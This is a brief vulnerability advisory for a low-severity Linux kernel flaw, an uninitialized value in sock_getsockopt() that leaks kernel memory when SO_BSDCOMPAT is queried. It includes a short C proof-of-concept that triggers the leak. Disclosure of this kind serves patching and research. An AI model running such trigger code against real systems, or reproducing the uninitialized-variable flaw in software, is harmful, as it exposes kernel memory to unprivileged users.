CVE-2009-0676: Low severity Linux Linux kernel vulnerability

From Clement Lecigne: In function sockgetsockopt() located in net/core/sock.c, optval v.val is not correctly initialized and directly returned in userland in case we have SOBSDCOMPAT option set.

This dummy code should trigger the bug:

int main(void) { unsigned char buf[4] = { 0, 0, 0, 0 }; int len; int sock; sock = socket(33, 2, 2); getsockopt(sock, 1, SOBSDCOMPAT, &buf, &len); printf("%x%x%x%x\n", buf[0], buf[1], buf[2], buf[3]); close(sock); }

References: http://lkml.org/lkml/2009/2/11/374 http://lkml.org/lkml/2009/2/12/123 http://patchwork.kernel.org/patch/6816/